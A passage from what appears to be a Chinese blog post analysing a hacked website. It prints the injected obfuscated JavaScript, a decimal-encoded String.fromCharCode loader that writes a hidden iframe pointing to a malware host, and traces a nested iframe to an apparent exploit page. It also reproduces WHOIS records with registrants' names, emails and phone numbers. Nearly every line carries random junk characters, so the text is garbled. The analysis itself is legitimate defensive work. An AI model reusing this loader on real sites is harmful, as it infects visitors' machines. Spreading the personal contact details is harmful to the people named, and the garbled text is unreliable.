首发在我的博客里面，
| yi#6!}^ 3j/~XT http://www.areway.cn/?p=175 'nfdOX.d }nMp.7b r~PVh? 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
"T~ A*a^ 8-FW'bA <script>t=’60,105,102,114,97,109,101,
=[YjIWr#o 32,115,114,99,61,104,116,116,112,58,47,47,
8W x7%@^O 102,114,101,101,46,117,45,117,117,117,46,99,
E$s?) 110,47,101,114,114,111,114,46,104,116,109,
A<[BR*n 32,119,105,100,116,104,61,49,48,48,32,104,
;bkvdn} 101,105,103,104,116,61,48,62,60,47,105,102,
0"koZd,c 114,97,109,101,62′;
InB'Ag" t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
$TFWum9wO imZ"4HnPP <script>t=’60,105,102,114,97,109,101,32,115,
0w?G&jjNtM 114,99,61,104,116,116,112,58,47,47,102,114,
kNv/ L $oG 101,101,46,117,45,117,117,117,46,99,110,47,
zUz j
F 101,114,114,111,114,46,104,116,109,32,119,
%dq |)r 105,100,116,104,61,49,48,48,32,104,101,105,
*q0 vp^? 103,104,116,61,48,62,60,47,105,102,114,97,
|I s"ov 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
+H
"j-:E@t document.write(t);</script>
C |P (,Xp o =Ia{@ <html xmlns=”
$zJ!L http://www.w3.org/1999/xhtml !Er)|YP “>
6yedl0@wa! <head>
h&<>nK
<!– Published By Newasp.cc 2007-12-7-18:03:23 –>
SH;:b Lk_ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
V~S(cO[vj <title>首页 - 爱生活家庭网
D9higsN Z6_ fI 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
9lc{{)m2) 转换字符串后的大概内容是（谁点击后果自付）：
Gr !@ih^ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
)m>Y[)8! 6 :AZZF1 查询玉米u-uuu.cn的详细信息：
O.$OLK;v Domain Name: u-uuu.cn
y1kI^B ROID: 20070901s10001s64972306-cn
<4jqF 4
W Domain Status: ok
W |V9:A Registrant Organization: 王雷
h]p$r`i7 Registrant Name: 王雷
4/ Xu,pT Administrative Email:
czlovexs@126.com `0 Xs!f Sponsoring Registrar: 北京万网志成科技有限公司
=4LyE6 Name Server:ns.yovole.com
[ *^ rH: Name Server:ns1.yovole.com
]3 CWb>!_ Registration Date: 2007-09-01 17:54
[Ee <SB{ Expiration Date: 2008-09-01 17:54
R)'[Tt`# R 最后PING了一下地址 都没有什么….
]TSzT"_r~~ uX~YDy 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
l#rr--]; <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Fqg *H1 I[ <script language=”javascript” src=”
(? #"S67 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script N.q0D5 : >
k1Sr7| 这个玉米应该有可能是木马作者的：
{1[f9uPS foafau.info的详细信息：
z Qx6r
. Access to INFO WHOIS information is provided to assist persons in
.[S\&uRv determining the contents of a domain name registration record in the
-E-e! Afilias registry database. The data in this record is provided by
j&"GE ':Y Afilias Limited for informational purposes only, and Afilias does not
].3@ Dk guarantee its accuracy. This service is intended only for query-based
@%rj1Gn access. You agree that you will use this data only for lawful purposes
D@`"99z and that, under no circumstances will you use this data to: (a) allow,
.*nr3dY enable, or otherwise support the transmission by e-mail, telephone, or
{lN G:o facsimile of mass unsolicited, commercial advertising or solicitations
_!^2A3c< to entities other than the data recipient’s own existing customers; or
Y (h (Z (b) enable high volume, automated, electronic processes that send
30Udba+{]p queries or data to the systems of Registry Operator, a Registrar, or
cb% ML1c Afilias except as reasonably necessary to register domain names or
:?H1h8wbCt modify existing registrations. All rights reserved. Afilias reserves
gCv[AIE_m the right to modify these terms at any time. By submitting this query,
\ x=!' you agree to abide by this policy.
>W^)1E,Qh Domain ID:D22418703-LRMS
.'=-@W* Domain Name:FOAFAU.INFO
]vZ}4Xno Created On:20-Nov-2007 16:05:42 UTC
M
nDa ag Last Updated On:20-Nov-2007 16:05:44 UTC
"rR$2`v" Expiration Date:20-Nov-2008 16:05:42 UTC
BD&AtOj[, Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Fz^5cx mw Status:CLIENT DELETE PROHIBITED
V5S6?V \ Status:CLIENT RENEW PROHIBITED
! b'!7p
Status:CLIENT TRANSFER PROHIBITED
i?|b:lcV Status:CLIENT UPDATE PROHIBITED
G'WbXX Status:TRANSFER PROHIBITED
m";?B1%x Registrant ID:GODA-040110615
n VGWJ3 Registrant Name:liu hong
*M+ CA_I( Registrant Organization:
:[bpMP<bz; Registrant Street1:beijing
drh,=M\F Registrant Street2:
zN7Ou . Registrant Street3:
xHW D1> Registrant City:beijing
Tu-I".d+ Registrant State/Province:
Wo<kKkx2 Registrant Postal Code:100000
:0(:}V3 z\ Registrant Country:CN
CC XOxd Registrant Phone:+86.860108888777
1'SpJL1u~ Registrant Phone Ext.:
)C%S`d<%, Registrant FAX:
tq2Ti Xo% Registrant FAX Ext.:
-59;Zn/ Registrant Email:bbbshiji@163.com
; 8u5 Admin ID:GODA-240110615
u Av'%/ Admin Name:liu hong
< M M(Z Admin Organization:
fx = %e Admin Street1:beijing
`;z;=A* Admin Street2:
Zie t-@} Admin Street3:
G|)fZQ1nS Admin City:beijing
_>i< ` k Admin State/Province:
?oQAxb& Admin Postal Code:100000
[OQ+&\ Admin Country:CN
mM-7
j z Admin Phone:+86.860108888777
T*z y^w e Admin Phone Ext.:
yrV]I(Xe Admin FAX:
<<+Hs/ ] Admin FAX Ext.:
Qd"u$~ qC Admin Email:bbbshiji@163.com
2hE+Om^n Billing ID:GODA-340110615
Q7SRf$4 Billing Name:liu hong
b~O c: Billing Organization:
Pc=:j( Billing Street1:beijing
Y\{&chuF Billing Street2:
H263<^ Billing Street3:
o&Sv2"2 Billing City:beijing
`&>CK`%Xu Billing State/Province:
[ :cZDVaA| Billing Postal Code:100000
Oy~X@A Billing Country:CN
l 8By2{pN Billing Phone:+86.860108888777
2jH&@g$cl; Billing Phone Ext.:
9H,Ec,. Billing FAX:
uU#e54^ Billing FAX Ext.:
D]WU,a[$Bc Billing Email:bbbshiji@163.com
q =_tjg Tech ID:GODA-140110615
>@L^^ -r Tech Name:liu hong
%y R~dt' Tech Organization:
^li(q]g1! Tech Street1:beijing
~:):.5o Tech Street2:
&-4SA j Tech Street3:
=\)qUs\z Tech City:beijing
#(d /A< Tech State/Province:
j8{,u6w)- Tech Postal Code:100000
c4xXsUBQk Tech Country:CN
A.(xa+z? Tech Phone:+86.860108888777
r_e]sOCb Tech Phone Ext.:
F=8gtk| U Tech FAX:
+@#k<.yqn Tech FAX Ext.:
Mgc|># = Tech Email:bbbshiji@163.com
H&=3rkX Name Server:NS27.DOMAINCONTROL.COM
Dv-ubki Name Server:NS28.DOMAINCONTROL.COM
P>;u S Name Server:
4dUr8]BkG Name Server:
J5*( PxDF Name Server:
Xsv^GmP+ Name Server:
=Ye I,KbA) Name Server:
t7b\ #o Name Server:
a OTrng Name Server:
$Qq5Fx9kU Name Server:
\C;F5AO Name Server:
-'Y @yIb Name Server:
J)a^3> Name Server:
/_CSRi& 7s.vJdA]6 接着下载每个文件里面的代码：
A_<1 }8{L 一步一步看..
Q ^\f,E\S 
:H`Z.>K 
h6C:`0o 
Kgu#M i~ 
vV 7L
:> 
3M<T}> 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
